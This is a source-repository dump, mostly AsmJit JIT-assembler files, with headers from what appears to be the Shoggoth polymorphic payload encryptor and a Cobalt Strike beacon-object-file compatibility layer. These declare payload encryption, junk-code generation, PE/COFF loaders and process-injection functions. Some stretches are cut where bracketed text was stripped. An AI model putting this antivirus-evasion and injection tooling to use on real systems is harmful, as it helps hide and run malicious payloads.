ASMJIT_END_NAMESPACE 50 | 51 | #endif // ASMJIT_CORE_MISC_P_H_INCLUDED 52 | -------------------------------------------------------------------------------- /src/asmjit/x86/x86formatter_p.h: -------------------------------------------------------------------------------- 1 | // AsmJit - Machine code generation for C++ 2 | // 3 | // * Official AsmJit Home Page: https://asmjit.com 4 | // * Official Github Repository: https://github.com/asmjit/asmjit 5 | // 6 | // Copyright (c) 2008-2020 The AsmJit Authors 7 | // 8 | // This software is provided 'as-is', without any express or implied 9 | // warranty. In no event will the authors be held liable for any damages 10 | // arising from the use of this software. 11 | // 12 | // Permission is granted to anyone to use this software for any purpose, 13 | // including commercial applications, and to alter it and redistribute it 14 | // freely, subject to the following restrictions: 15 | // 16 | // 1. The origin of this software must not be misrepresented; you must not 17 | // claim that you wrote the original software. If you use this software 18 | // in a product, an acknowledgment in the product documentation would be 19 | // appreciated but is not required. 20 | // 2. Altered source versions must be plainly marked as such, and must not be 21 | // misrepresented as being the original software. 22 | // 3. This notice may not be removed or altered from any source distribution. 23 | 24 | #ifndef ASMJIT_X86_X86FORMATTER_P_H_INCLUDED 25 | #define ASMJIT_X86_X86FORMATTER_P_H_INCLUDED 26 | 27 | #include "../core/api-config.h" 28 | #ifndef ASMJIT_NO_LOGGING 29 | 30 | #include "../core/formatter.h" 31 | #include "../core/string.h" 32 | #include "../x86/x86globals.h" 33 | 34 | ASMJIT_BEGIN_SUB_NAMESPACE(x86) 35 | 36 | //! \cond INTERNAL 37 | //! \addtogroup asmjit_x86 38 | //! \{ 39 | 40 | // ============================================================================ 41 | // [asmjit::x86::FormatterInternal] 42 | // ============================================================================ 43 | 44 | namespace FormatterInternal { 45 | 46 | Error formatFeature( 47 | String& sb, 48 | uint32_t featureId) noexcept; 49 | 50 | Error formatRegister( 51 | String& sb, 52 | uint32_t flags, 53 | const BaseEmitter* emitter, 54 | uint32_t arch, 55 | uint32_t regType, 56 | uint32_t regId) noexcept; 57 | 58 | Error formatOperand( 59 | String& sb, 60 | uint32_t flags, 61 | const BaseEmitter* emitter, 62 | uint32_t arch, 63 | const Operand_& op) noexcept; 64 | 65 | Error formatInstruction( 66 | String& sb, 67 | uint32_t flags, 68 | const BaseEmitter* emitter, 69 | uint32_t arch, 70 | const BaseInst& inst, const Operand_* operands, size_t opCount) noexcept; 71 | 72 | } // {FormatterInternal} 73 | 74 | //! \} 75 | //! \endcond 76 | 77 | ASMJIT_END_SUB_NAMESPACE 78 | 79 | #endif // !ASMJIT_NO_LOGGING 80 | #endif // ASMJIT_X86_X86FORMATTER_P_H_INCLUDED 81 | -------------------------------------------------------------------------------- /src/asmjit/x86/x86builder.cpp: -------------------------------------------------------------------------------- 1 | // AsmJit - Machine code generation for C++ 2 | // 3 | // * Official AsmJit Home Page: https://asmjit.com 4 | // * Official Github Repository: https://github.com/asmjit/asmjit 5 | // 6 | // Copyright (c) 2008-2020 The AsmJit Authors 7 | // 8 | // This software is provided 'as-is', without any express or implied 9 | // warranty. In no event will the authors be held liable for any damages 10 | // arising from the use of this software. 11 | // 12 | // Permission is granted to anyone to use this software for any purpose, 13 | // including commercial applications, and to alter it and redistribute it 14 | // freely, subject to the following restrictions: 15 | // 16 | // 1. The origin of this software must not be misrepresented; you must not 17 | // claim that you wrote the original software. If you use this software 18 | // in a product, an acknowledgment in the product documentation would be 19 | // appreciated but is not required. 20 | // 2. Altered source versions must be plainly marked as such, and must not be 21 | // misrepresented as being the original software. 22 | // 3. This notice may not be removed or altered from any source distribution. 23 | 24 | #include "../core/api-build_p.h" 25 | #if !defined(ASMJIT_NO_X86) && !defined(ASMJIT_NO_BUILDER) 26 | 27 | #include "../x86/x86assembler.h" 28 | #include "../x86/x86builder.h" 29 | 30 | ASMJIT_BEGIN_SUB_NAMESPACE(x86) 31 | 32 | // ============================================================================ 33 | // [asmjit::x86::Builder - Construction / Destruction] 34 | // ============================================================================ 35 | 36 | Builder::Builder(CodeHolder* code) noexcept : BaseBuilder() { 37 | if (code) 38 | code->attach(this); 39 | } 40 | Builder::~Builder() noexcept {} 41 | 42 | // ============================================================================ 43 | // [asmjit::x86::Builder - Finalize] 44 | // ============================================================================ 45 | 46 | Error Builder::finalize() { 47 | ASMJIT_PROPAGATE(runPasses()); 48 | Assembler a(_code); 49 | a.addEncodingOptions(encodingOptions()); 50 | a.addValidationOptions(validationOptions()); 51 | return serializeTo(&a); 52 | } 53 | 54 | // ============================================================================ 55 | // [asmjit::x86::Builder - Events] 56 | // ============================================================================ 57 | 58 | Error Builder::onAttach(CodeHolder* code) noexcept { 59 | uint32_t arch = code->arch(); 60 | if (!Environment::isFamilyX86(arch)) 61 | return DebugUtils::errored(kErrorInvalidArch); 62 | 63 | return Base::onAttach(code); 64 | } 65 | 66 | ASMJIT_END_SUB_NAMESPACE 67 | 68 | #endif // !ASMJIT_NO_X86 && !ASMJIT_NO_BUILDER 69 | -------------------------------------------------------------------------------- /COFFArgGenerator/beacon_generate.py: -------------------------------------------------------------------------------- 1 | from struct import pack, calcsize 2 | import binascii 3 | import cmd 4 | 5 | class BeaconPack: 6 | def __init__(self): 7 | self.buffer = b'' 8 | self.size = 0 9 | 10 | def getbuffer(self): 11 | return pack(" 48 | #endif 49 | 50 | // ============================================================================ 51 | // [asmjit::Build - Globals - Build-Only] 52 | // ============================================================================ 53 | 54 | #include "./api-config.h" 55 | 56 | #if !defined(ASMJIT_BUILD_DEBUG) && defined(__GNUC__) && !defined(__clang__) 57 | #define ASMJIT_FAVOR_SIZE __attribute__((__optimize__("Os"))) 58 | #define ASMJIT_FAVOR_SPEED __attribute__((__optimize__("O3"))) 59 | #elif ASMJIT_CXX_HAS_ATTRIBUTE(__minsize__, 0) 60 | #define ASMJIT_FAVOR_SIZE __attribute__((__minsize__)) 61 | #define ASMJIT_FAVOR_SPEED 62 | #else 63 | #define ASMJIT_FAVOR_SIZE 64 | #define ASMJIT_FAVOR_SPEED 65 | #endif 66 | 67 | // Make sure '#ifdef'ed unit tests are properly highlighted in IDE. 68 | #if !defined(ASMJIT_TEST) && defined(__INTELLISENSE__) 69 | #define ASMJIT_TEST 70 | #endif 71 | 72 | // Include a unit testing package if this is a `asmjit_test_unit` build. 73 | #if defined(ASMJIT_TEST) 74 | #include "../../../test/broken.h" 75 | #endif 76 | 77 | #endif // ASMJIT_CORE_API_BUILD_P_H_INCLUDED 78 | -------------------------------------------------------------------------------- /src/asmjit/x86/x86compiler.cpp: -------------------------------------------------------------------------------- 1 | // AsmJit - Machine code generation for C++ 2 | // 3 | // * Official AsmJit Home Page: https://asmjit.com 4 | // * Official Github Repository: https://github.com/asmjit/asmjit 5 | // 6 | // Copyright (c) 2008-2020 The AsmJit Authors 7 | // 8 | // This software is provided 'as-is', without any express or implied 9 | // warranty. In no event will the authors be held liable for any damages 10 | // arising from the use of this software. 11 | // 12 | // Permission is granted to anyone to use this software for any purpose, 13 | // including commercial applications, and to alter it and redistribute it 14 | // freely, subject to the following restrictions: 15 | // 16 | // 1. The origin of this software must not be misrepresented; you must not 17 | // claim that you wrote the original software. If you use this software 18 | // in a product, an acknowledgment in the product documentation would be 19 | // appreciated but is not required. 20 | // 2. Altered source versions must be plainly marked as such, and must not be 21 | // misrepresented as being the original software. 22 | // 3. This notice may not be removed or altered from any source distribution. 23 | 24 | #include "../core/api-build_p.h" 25 | #if !defined(ASMJIT_NO_X86) && !defined(ASMJIT_NO_COMPILER) 26 | 27 | #include "../x86/x86assembler.h" 28 | #include "../x86/x86compiler.h" 29 | #include "../x86/x86rapass_p.h" 30 | 31 | ASMJIT_BEGIN_SUB_NAMESPACE(x86) 32 | 33 | // ============================================================================ 34 | // [asmjit::x86::Compiler - Construction / Destruction] 35 | // ============================================================================ 36 | 37 | Compiler::Compiler(CodeHolder* code) noexcept : BaseCompiler() { 38 | if (code) 39 | code->attach(this); 40 | } 41 | Compiler::~Compiler() noexcept {} 42 | 43 | // ============================================================================ 44 | // [asmjit::x86::Compiler - Finalize] 45 | // ============================================================================ 46 | 47 | Error Compiler::finalize() { 48 | ASMJIT_PROPAGATE(runPasses()); 49 | Assembler a(_code); 50 | a.addEncodingOptions(encodingOptions()); 51 | a.addValidationOptions(validationOptions()); 52 | return serializeTo(&a); 53 | } 54 | 55 | // ============================================================================ 56 | // [asmjit::x86::Compiler - Events] 57 | // ============================================================================ 58 | 59 | Error Compiler::onAttach(CodeHolder* code) noexcept { 60 | uint32_t arch = code->arch(); 61 | if (!Environment::isFamilyX86(arch)) 62 | return DebugUtils::errored(kErrorInvalidArch); 63 | 64 | ASMJIT_PROPAGATE(Base::onAttach(code)); 65 | Error err = addPassT(); 66 | 67 | if (ASMJIT_UNLIKELY(err)) { 68 | onDetach(code); 69 | return err; 70 | } 71 | 72 | return kErrorOk; 73 | } 74 | 75 | ASMJIT_END_SUB_NAMESPACE 76 | 77 | #endif // !ASMJIT_NO_X86 && !ASMJIT_NO_COMPILER 78 | -------------------------------------------------------------------------------- /COFFLoader/BeaconFunctions.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Cobalt Strike 4.X BOF compatibility layer 3 | * ----------------------------------------- 4 | * The whole point of these files are to allow beacon object files built for CS 5 | * to run fine inside of other tools without recompiling. 6 | * 7 | * Built off of the beacon.h file provided to build for CS. 8 | */ 9 | #pragma once 10 | #include 11 | 12 | /* Structures as is in beacon.h */ 13 | 14 | typedef struct { 15 | char* original; /* the original buffer [so we can free it] */ 16 | char* buffer; /* current pointer into our buffer */ 17 | int length; /* remaining length of data */ 18 | int size; /* total size of this buffer */ 19 | } datap; 20 | 21 | typedef struct { 22 | char* original; /* the original buffer [so we can free it] */ 23 | char* buffer; /* current pointer into our buffer */ 24 | int length; /* remaining length of data */ 25 | int size; /* total size of this buffer */ 26 | } formatp; 27 | 28 | void BeaconDataParse(datap* parser, char* buffer, int size); 29 | int BeaconDataInt(datap* parser); 30 | short BeaconDataShort(datap* parser); 31 | int BeaconDataLength(datap* parser); 32 | char* BeaconDataExtract(datap* parser, int* size); 33 | 34 | void BeaconFormatAlloc(formatp* format, int maxsz); 35 | void BeaconFormatReset(formatp* format); 36 | void BeaconFormatFree(formatp* format); 37 | void BeaconFormatAppend(formatp* format, char* text, int len); 38 | void BeaconFormatPrintf(formatp* format, char* fmt, ...); 39 | char* BeaconFormatToString(formatp* format, int* size); 40 | void BeaconFormatInt(formatp* format, int value); 41 | 42 | #define CALLBACK_OUTPUT 0x0 43 | #define CALLBACK_OUTPUT_OEM 0x1e 44 | #define CALLBACK_ERROR 0x0d 45 | #define CALLBACK_OUTPUT_UTF8 0x20 46 | 47 | 48 | void BeaconPrintf(int type, char* fmt, ...); 49 | void BeaconOutput(int type, char* data, int len); 50 | 51 | /* Token Functions */ 52 | BOOL BeaconUseToken(HANDLE token); 53 | void BeaconRevertToken(); 54 | BOOL BeaconIsAdmin(); 55 | 56 | /* Spawn+Inject Functions */ 57 | void BeaconGetSpawnTo(BOOL x86, char* buffer, int length); 58 | BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO* sInfo, PROCESS_INFORMATION* pInfo); 59 | void BeaconInjectProcess(HANDLE hProc, int pid, char* payload, int p_len, int p_offset, char* arg, int a_len); 60 | void BeaconInjectTemporaryProcess(PROCESS_INFORMATION* pInfo, char* payload, int p_len, int p_offset, char* arg, int a_len); 61 | void BeaconCleanupProcess(PROCESS_INFORMATION* pInfo); 62 | 63 | /* Utility Functions */ 64 | BOOL toWideChar(char* src, wchar_t* dst, int max); 65 | uint32_t swap_endianess(uint32_t indata); 66 | 67 | char* BeaconGetOutputData(int* outsize); 68 | 69 | 70 | void SetFileSharingAddress(LPVOID beacon_compatibility_output, int beacon_compatibility_size, int beacon_compatibility_offset,int flagFirstTime); 71 | void SetInternalFunctions(char **internalAddressArray); 72 | -------------------------------------------------------------------------------- /src/asmjit/x86/x86emithelper_p.h: -------------------------------------------------------------------------------- 1 | // AsmJit - Machine code generation for C++ 2 | // 3 | // * Official AsmJit Home Page: https://asmjit.com 4 | // * Official Github Repository: https://github.com/asmjit/asmjit 5 | // 6 | // Copyright (c) 2008-2020 The AsmJit Authors 7 | // 8 | // This software is provided 'as-is', without any express or implied 9 | // warranty. In no event will the authors be held liable for any damages 10 | // arising from the use of this software. 11 | // 12 | // Permission is granted to anyone to use this software for any purpose, 13 | // including commercial applications, and to alter it and redistribute it 14 | // freely, subject to the following restrictions: 15 | // 16 | // 1. The origin of this software must not be misrepresented; you must not 17 | // claim that you wrote the original software. If you use this software 18 | // in a product, an acknowledgment in the product documentation would be 19 | // appreciated but is not required. 20 | // 2. Altered source versions must be plainly marked as such, and must not be 21 | // misrepresented as being the original software. 22 | // 3. This notice may not be removed or altered from any source distribution. 23 | 24 | #ifndef ASMJIT_X86_X86EMITHELPER_P_H_INCLUDED 25 | #define ASMJIT_X86_X86EMITHELPER_P_H_INCLUDED 26 | 27 | #include "../core/api-config.h" 28 | 29 | #include "../core/emithelper_p.h" 30 | #include "../core/func.h" 31 | #include "../x86/x86emitter.h" 32 | #include "../x86/x86operand.h" 33 | 34 | ASMJIT_BEGIN_SUB_NAMESPACE(x86) 35 | 36 | //! \cond INTERNAL 37 | //! \addtogroup asmjit_x86 38 | //! \{ 39 | 40 | // ============================================================================ 41 | // [asmjit::x86::EmitHelper] 42 | // ============================================================================ 43 | 44 | static ASMJIT_INLINE uint32_t vecTypeIdToRegType(uint32_t typeId) noexcept { 45 | return typeId <= Type::_kIdVec128End ? Reg::kTypeXmm : 46 | typeId <= Type::_kIdVec256End ? Reg::kTypeYmm : Reg::kTypeZmm; 47 | } 48 | 49 | class EmitHelper : public BaseEmitHelper { 50 | public: 51 | bool _avxEnabled; 52 | bool _avx512Enabled; 53 | 54 | inline explicit EmitHelper(BaseEmitter* emitter = nullptr, bool avxEnabled = false, bool avx512Enabled = false) noexcept 55 | : BaseEmitHelper(emitter), 56 | _avxEnabled(avxEnabled || avx512Enabled), 57 | _avx512Enabled(avx512Enabled) {} 58 | 59 | Error emitRegMove( 60 | const Operand_& dst_, 61 | const Operand_& src_, uint32_t typeId, const char* comment = nullptr) override; 62 | 63 | Error emitArgMove( 64 | const BaseReg& dst_, uint32_t dstTypeId, 65 | const Operand_& src_, uint32_t srcTypeId, const char* comment = nullptr) override; 66 | 67 | Error emitRegSwap( 68 | const BaseReg& a, 69 | const BaseReg& b, const char* comment = nullptr) override; 70 | 71 | Error emitProlog(const FuncFrame& frame); 72 | Error emitEpilog(const FuncFrame& frame); 73 | }; 74 | 75 | //! \} 76 | //! \endcond 77 | 78 | ASMJIT_END_SUB_NAMESPACE 79 | 80 | #endif // ASMJIT_X86_X86EMITHELPER_P_H_INCLUDED 81 | -------------------------------------------------------------------------------- /src/asmjit/core/type.cpp: -------------------------------------------------------------------------------- 1 | // AsmJit - Machine code generation for C++ 2 | // 3 | // * Official AsmJit Home Page: https://asmjit.com 4 | // * Official Github Repository: https://github.com/asmjit/asmjit 5 | // 6 | // Copyright (c) 2008-2020 The AsmJit Authors 7 | // 8 | // This software is provided 'as-is', without any express or implied 9 | // warranty. In no event will the authors be held liable for any damages 10 | // arising from the use of this software. 11 | // 12 | // Permission is granted to anyone to use this software for any purpose, 13 | // including commercial applications, and to alter it and redistribute it 14 | // freely, subject to the following restrictions: 15 | // 16 | // 1. The origin of this software must not be misrepresented; you must not 17 | // claim that you wrote the original software. If you use this software 18 | // in a product, an acknowledgment in the product documentation would be 19 | // appreciated but is not required. 20 | // 2. Altered source versions must be plainly marked as such, and must not be 21 | // misrepresented as being the original software. 22 | // 3. This notice may not be removed or altered from any source distribution. 23 | 24 | #include "../core/api-build_p.h" 25 | #include "../core/misc_p.h" 26 | #include "../core/type.h" 27 | 28 | ASMJIT_BEGIN_NAMESPACE 29 | 30 | // ============================================================================ 31 | // [asmjit::Type] 32 | // ============================================================================ 33 | 34 | namespace Type { 35 | 36 | template 37 | struct BaseOfTypeId { 38 | static constexpr uint32_t kTypeId = 39 | isBase (TYPE_ID) ? TYPE_ID : 40 | isMask8 (TYPE_ID) ? kIdU8 : 41 | isMask16(TYPE_ID) ? kIdU16 : 42 | isMask32(TYPE_ID) ? kIdU32 : 43 | isMask64(TYPE_ID) ? kIdU64 : 44 | isMmx32 (TYPE_ID) ? kIdI32 : 45 | isMmx64 (TYPE_ID) ? kIdI64 : 46 | isVec32 (TYPE_ID) ? TYPE_ID + kIdI8 - _kIdVec32Start : 47 | isVec64 (TYPE_ID) ? TYPE_ID + kIdI8 - _kIdVec64Start : 48 | isVec128(TYPE_ID) ? TYPE_ID + kIdI8 - _kIdVec128Start : 49 | isVec256(TYPE_ID) ? TYPE_ID + kIdI8 - _kIdVec256Start : 50 | isVec512(TYPE_ID) ? TYPE_ID + kIdI8 - _kIdVec512Start : 0; 51 | }; 52 | 53 | template 54 | struct SizeOfTypeId { 55 | static constexpr uint32_t kTypeSize = 56 | isInt8 (TYPE_ID) ? 1 : 57 | isUInt8 (TYPE_ID) ? 1 : 58 | isInt16 (TYPE_ID) ? 2 : 59 | isUInt16 (TYPE_ID) ? 2 : 60 | isInt32 (TYPE_ID) ? 4 : 61 | isUInt32 (TYPE_ID) ? 4 : 62 | isInt64 (TYPE_ID) ? 8 : 63 | isUInt64 (TYPE_ID) ? 8 : 64 | isFloat32(TYPE_ID) ? 4 : 65 | isFloat64(TYPE_ID) ? 8 : 66 | isFloat80(TYPE_ID) ? 10 : 67 | isMask8 (TYPE_ID) ? 1 : 68 | isMask16 (TYPE_ID) ? 2 : 69 | isMask32 (TYPE_ID) ? 4 : 70 | isMask64 (TYPE_ID) ? 8 : 71 | isMmx32 (TYPE_ID) ? 4 : 72 | isMmx64 (TYPE_ID) ? 8 : 73 | isVec32 (TYPE_ID) ? 4 : 74 | isVec64 (TYPE_ID) ? 8 : 75 | isVec128 (TYPE_ID) ? 16 : 76 | isVec256 (TYPE_ID) ? 32 : 77 | isVec512 (TYPE_ID) ? 64 : 0; 78 | }; 79 | 80 | const TypeData _typeData = { 81 | #define VALUE(x) BaseOfTypeId::kTypeId 82 | { ASMJIT_LOOKUP_TABLE_256(VALUE, 0) }, 83 | #undef VALUE 84 | 85 | #define VALUE(x) SizeOfTypeId::kTypeSize 86 | { ASMJIT_LOOKUP_TABLE_256(VALUE, 0) } 87 | #undef VALUE 88 | }; 89 | 90 | } // {Type} 91 | 92 | ASMJIT_END_NAMESPACE 93 | -------------------------------------------------------------------------------- /src/asmjit/core/emithelper_p.h: -------------------------------------------------------------------------------- 1 | 2 | // AsmJit - Machine code generation for C++ 3 | // 4 | // * Official AsmJit Home Page: https://asmjit.com 5 | // * Official Github Repository: https://github.com/asmjit/asmjit 6 | // 7 | // Copyright (c) 2008-2020 The AsmJit Authors 8 | // 9 | // This software is provided 'as-is', without any express or implied 10 | // warranty. In no event will the authors be held liable for any damages 11 | // arising from the use of this software. 12 | // 13 | // Permission is granted to anyone to use this software for any purpose, 14 | // including commercial applications, and to alter it and redistribute it 15 | // freely, subject to the following restrictions: 16 | // 17 | // 1. The origin of this software must not be misrepresented; you must not 18 | // claim that you wrote the original software. If you use this software 19 | // in a product, an acknowledgment in the product documentation would be 20 | // appreciated but is not required. 21 | // 2. Altered source versions must be plainly marked as such, and must not be 22 | // misrepresented as being the original software. 23 | // 3. This notice may not be removed or altered from any source distribution. 24 | 25 | #ifndef ASMJIT_CORE_EMITHELPER_P_H_INCLUDED 26 | #define ASMJIT_CORE_EMITHELPER_P_H_INCLUDED 27 | 28 | #include "../core/emitter.h" 29 | #include "../core/operand.h" 30 | #include "../core/type.h" 31 | 32 | ASMJIT_BEGIN_NAMESPACE 33 | 34 | //! \cond INTERNAL 35 | //! \addtogroup asmjit_core 36 | //! \{ 37 | 38 | // ============================================================================ 39 | // [asmjit::BaseEmitHelper] 40 | // ============================================================================ 41 | 42 | //! Helper class that provides utilities for each supported architecture. 43 | class BaseEmitHelper { 44 | public: 45 | BaseEmitter* _emitter; 46 | 47 | inline explicit BaseEmitHelper(BaseEmitter* emitter = nullptr) noexcept 48 | : _emitter(emitter) {} 49 | 50 | inline BaseEmitter* emitter() const noexcept { return _emitter; } 51 | inline void setEmitter(BaseEmitter* emitter) noexcept { _emitter = emitter; } 52 | 53 | //! Emits a pure move operation between two registers or the same type or 54 | //! between a register and its home slot. This function does not handle 55 | //! register conversion. 56 | virtual Error emitRegMove( 57 | const Operand_& dst_, 58 | const Operand_& src_, uint32_t typeId, const char* comment = nullptr) = 0; 59 | 60 | //! Emits swap between two registers. 61 | virtual Error emitRegSwap( 62 | const BaseReg& a, 63 | const BaseReg& b, const char* comment = nullptr) = 0; 64 | 65 | //! Emits move from a function argument (either register or stack) to a register. 66 | //! 67 | //! This function can handle the necessary conversion from one argument to 68 | //! another, and from one register type to another, if it's possible. Any 69 | //! attempt of conversion that requires third register of a different group 70 | //! (for example conversion from K to MMX on X86/X64) will fail. 71 | virtual Error emitArgMove( 72 | const BaseReg& dst_, uint32_t dstTypeId, 73 | const Operand_& src_, uint32_t srcTypeId, const char* comment = nullptr) = 0; 74 | 75 | Error emitArgsAssignment(const FuncFrame& frame, const FuncArgsAssignment& args); 76 | }; 77 | 78 | //! \} 79 | //! \endcond 80 | 81 | ASMJIT_END_NAMESPACE 82 | 83 | #endif // ASMJIT_CORE_EMITHELPER_P_H_INCLUDED 84 | -------------------------------------------------------------------------------- /src/ShoggothEngine.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include "asmjit/asmjit.h" 5 | #include "Structs.h" 6 | 7 | using namespace asmjit; 8 | 9 | #define BLOCK_SIZE 8 10 | 11 | class ShoggothPolyEngine 12 | { 13 | public: 14 | ShoggothPolyEngine(OPTIONS *parsedOptions); 15 | 16 | PBYTE StartPolymorphicEncrypt(PBYTE payload, int payloadSize, int& encryptedSize); 17 | PBYTE AddPELoader(PBYTE payload, int payloadSize, int& newPayloadSize); 18 | PBYTE AddCOFFLoader(PBYTE payload, int payloadSize, PBYTE arguments, int argumentSize, int& newPayloadSize); 19 | private: 20 | 21 | CodeHolder asmjitCodeHolder; 22 | 23 | JitRuntime asmjitRuntime; 24 | 25 | x86::Assembler* asmjitAssembler; 26 | 27 | int startOffset = 0; 28 | int endOffset = 0; 29 | 30 | x86::Gp allRegs[16]; 31 | 32 | x86::Gp generalPurposeRegs[14]; 33 | 34 | ENCRYPT_TYPE *encryptListForBlocks; 35 | 36 | uint64_t numberOfBlocks; 37 | 38 | x86::Gp addressHolderForSecondEncryption; 39 | 40 | x86::Gp firstAddressHolderForSecondEncryption; 41 | 42 | OPTIONS configurationOptions; 43 | 44 | // ----- 45 | void MixupArrayRegs(x86::Reg* registerArr, WORD size); 46 | 47 | PBYTE PushAllRegisters(int& codeSize); 48 | PBYTE PopAllRegisters(int& codeSize); 49 | 50 | x86::Gp GetRandomRegister(); 51 | x86::Gp GetRandomGeneralPurposeRegister(); 52 | 53 | void DebugBuffer(PBYTE buffer, int bufferSize); 54 | 55 | void StartAsmjit(); 56 | void ResetAsmjit(); 57 | 58 | void GenerateJumpOverRandomData(); 59 | 60 | PBYTE GenerateRandomGarbage(int& garbageSize); 61 | 62 | void GenerateGarbageInstructions(); 63 | 64 | void GenerateGarbageFunction(); 65 | void GenerateSafeInstruction(); 66 | void GenerateReversedInstructions(); 67 | void GenerateJumpedInstructions(); 68 | 69 | PBYTE AssembleCodeHolder(int& codeSize); 70 | 71 | void GenerateRandomUnsafeGarbage(); 72 | 73 | PBYTE FirstEncryption(PBYTE plainPayload, int payloadSize, PBYTE key, int keySize); 74 | PBYTE GenerateRC4Decryptor(PBYTE payload, int payloadSize, RC4STATE* statePtr, int& firstDecryptorSize, int& firstEncryptionStubSize); 75 | void InitRC4State(RC4STATE* state, uint8_t* key, size_t len); 76 | void EncryptRC4(RC4STATE* state, uint8_t* msg, size_t len); 77 | PBYTE FirstDecryptor(PBYTE cipheredPayload, int cipheredPayloadSize, PBYTE key, int keySize, int& firstDecryptorSize, int& firstEncryptionStubSize); 78 | 79 | 80 | PBYTE GetPopInstructionAfterPayload(int& popSize); 81 | 82 | PBYTE GetCallInstructionOverPayload(int payloadSize, int& callSize); 83 | PBYTE GetCallInstructionOverPayloadAndArguments(int payloadSize, int argumentSize, int& callSize); 84 | 85 | PBYTE GeneratePopWithGarbage(x86::Gp popReg, int& popStubSize); 86 | PBYTE GenerateThreePopWithGarbage(x86::Gp payloadReg, x86::Gp argumentReg, x86::Gp argumentSizeReg, int argumentSize, int& popStubSize); 87 | 88 | PBYTE SecondDecryptor(PBYTE encryptedPayload, int payloadSize, int& secondDecryptorBlockSize); 89 | PBYTE SecondEncryption(PBYTE plainPayload, int payloadSize, int& newPayloadSize); 90 | void GetRandomSecondEncryption(ENCRYPT_TYPE* encryptTypeHolder); 91 | void ChangeAddressHolder(ENCRYPT_TYPE* encryptTypeHolder); 92 | PBYTE GenerateSecondDecryptorStub(int& decryptorStubSize, int offsetToEncryptedPayload); 93 | void ApplyRandomSecondEncryption(uint64_t* blockCursor, ENCRYPT_TYPE* encryptTypeHolder); 94 | 95 | 96 | }; -------------------------------------------------------------------------------- /src/asmjit/core/cpuinfo.cpp: -------------------------------------------------------------------------------- 1 | // AsmJit - Machine code generation for C++ 2 | // 3 | // * Official AsmJit Home Page: https://asmjit.com 4 | // * Official Github Repository: https://github.com/asmjit/asmjit 5 | // 6 | // Copyright (c) 2008-2020 The AsmJit Authors 7 | // 8 | // This software is provided 'as-is', without any express or implied 9 | // warranty. In no event will the authors be held liable for any damages 10 | // arising from the use of this software. 11 | // 12 | // Permission is granted to anyone to use this software for any purpose, 13 | // including commercial applications, and to alter it and redistribute it 14 | // freely, subject to the following restrictions: 15 | // 16 | // 1. The origin of this software must not be misrepresented; you must not 17 | // claim that you wrote the original software. If you use this software 18 | // in a product, an acknowledgment in the product documentation would be 19 | // appreciated but is not required. 20 | // 2. Altered source versions must be plainly marked as such, and must not be 21 | // misrepresented as being the original software. 22 | // 3. This notice may not be removed or altered from any source distribution. 23 | 24 | #include "../core/api-build_p.h" 25 | #include "../core/cpuinfo.h" 26 | 27 | #if !defined(_WIN32) 28 | #include 29 | #include 30 | #include 31 | #endif 32 | 33 | ASMJIT_BEGIN_NAMESPACE 34 | 35 | // ============================================================================ 36 | // [asmjit::CpuInfo - Detect - CPU NumThreads] 37 | // ============================================================================ 38 | 39 | #if defined(_WIN32) 40 | static inline uint32_t detectHWThreadCount() noexcept { 41 | SYSTEM_INFO info; 42 | ::GetSystemInfo(&info); 43 | return info.dwNumberOfProcessors; 44 | } 45 | #elif defined(_SC_NPROCESSORS_ONLN) 46 | static inline uint32_t detectHWThreadCount() noexcept { 47 | long res = ::sysconf(_SC_NPROCESSORS_ONLN); 48 | return res <= 0 ? uint32_t(1) : uint32_t(res); 49 | } 50 | #else 51 | static inline uint32_t detectHWThreadCount() noexcept { 52 | return 1; 53 | } 54 | #endif 55 | 56 | // ============================================================================ 57 | // [asmjit::CpuInfo - Detect - CPU Features] 58 | // ============================================================================ 59 | 60 | #if !defined(ASMJIT_NO_X86) && ASMJIT_ARCH_X86 61 | namespace x86 { void detectCpu(CpuInfo& cpu) noexcept; } 62 | #endif 63 | 64 | #if defined(ASMJIT_BUILD_ARM) && ASMJIT_ARCH_ARM 65 | namespace arm { void detectCpu(CpuInfo& cpu) noexcept; } 66 | #endif 67 | 68 | // ============================================================================ 69 | // [asmjit::CpuInfo - Detect - Static Initializer] 70 | // ============================================================================ 71 | 72 | static uint32_t cpuInfoInitialized; 73 | static CpuInfo cpuInfoGlobal(Globals::NoInit); 74 | 75 | const CpuInfo& CpuInfo::host() noexcept { 76 | // This should never cause a problem as the resulting information should 77 | // always be the same. 78 | if (!cpuInfoInitialized) { 79 | CpuInfo cpuInfoLocal; 80 | 81 | #if !defined(ASMJIT_NO_X86) && ASMJIT_ARCH_X86 82 | x86::detectCpu(cpuInfoLocal); 83 | #endif 84 | 85 | #if defined(ASMJIT_BUILD_ARM) && ASMJIT_ARCH_ARM 86 | arm::detectCpu(cpuInfoLocal); 87 | #endif 88 | 89 | cpuInfoLocal._hwThreadCount = detectHWThreadCount(); 90 | cpuInfoGlobal = cpuInfoLocal; 91 | cpuInfoInitialized = 1; 92 | } 93 | 94 | return cpuInfoGlobal; 95 | } 96 | 97 | ASMJIT_END_NAMESPACE 98 | -------------------------------------------------------------------------------- /src/asmjit/core/osutils_p.h: -------------------------------------------------------------------------------- 1 | // AsmJit - Machine code generation for C++ 2 | // 3 | // * Official AsmJit Home Page: https://asmjit.com 4 | // * Official Github Repository: https://github.com/asmjit/asmjit 5 | // 6 | // Copyright (c) 2008-2020 The AsmJit Authors 7 | // 8 | // This software is provided 'as-is', without any express or implied 9 | // warranty. In no event will the authors be held liable for any damages 10 | // arising from the use of this software. 11 | // 12 | // Permission is granted to anyone to use this software for any purpose, 13 | // including commercial applications, and to alter it and redistribute it 14 | // freely, subject to the following restrictions: 15 | // 16 | // 1. The origin of this software must not be misrepresented; you must not 17 | // claim that you wrote the original software. If you use this software 18 | // in a product, an acknowledgment in the product documentation would be 19 | // appreciated but is not required. 20 | // 2. Altered source versions must be plainly marked as such, and must not be 21 | // misrepresented as being the original software. 22 | // 3. This notice may not be removed or altered from any source distribution. 23 | 24 | #ifndef ASMJIT_CORE_OSUTILS_P_H_INCLUDED 25 | #define ASMJIT_CORE_OSUTILS_P_H_INCLUDED 26 | 27 | #include "../core/osutils.h" 28 | 29 | ASMJIT_BEGIN_NAMESPACE 30 | 31 | //! \cond INTERNAL 32 | //! \addtogroup asmjit_utilities 33 | //! \{ 34 | 35 | // ============================================================================ 36 | // [asmjit::Lock] 37 | // ============================================================================ 38 | 39 | #if defined(_WIN32) 40 | 41 | // Windows implementation. 42 | 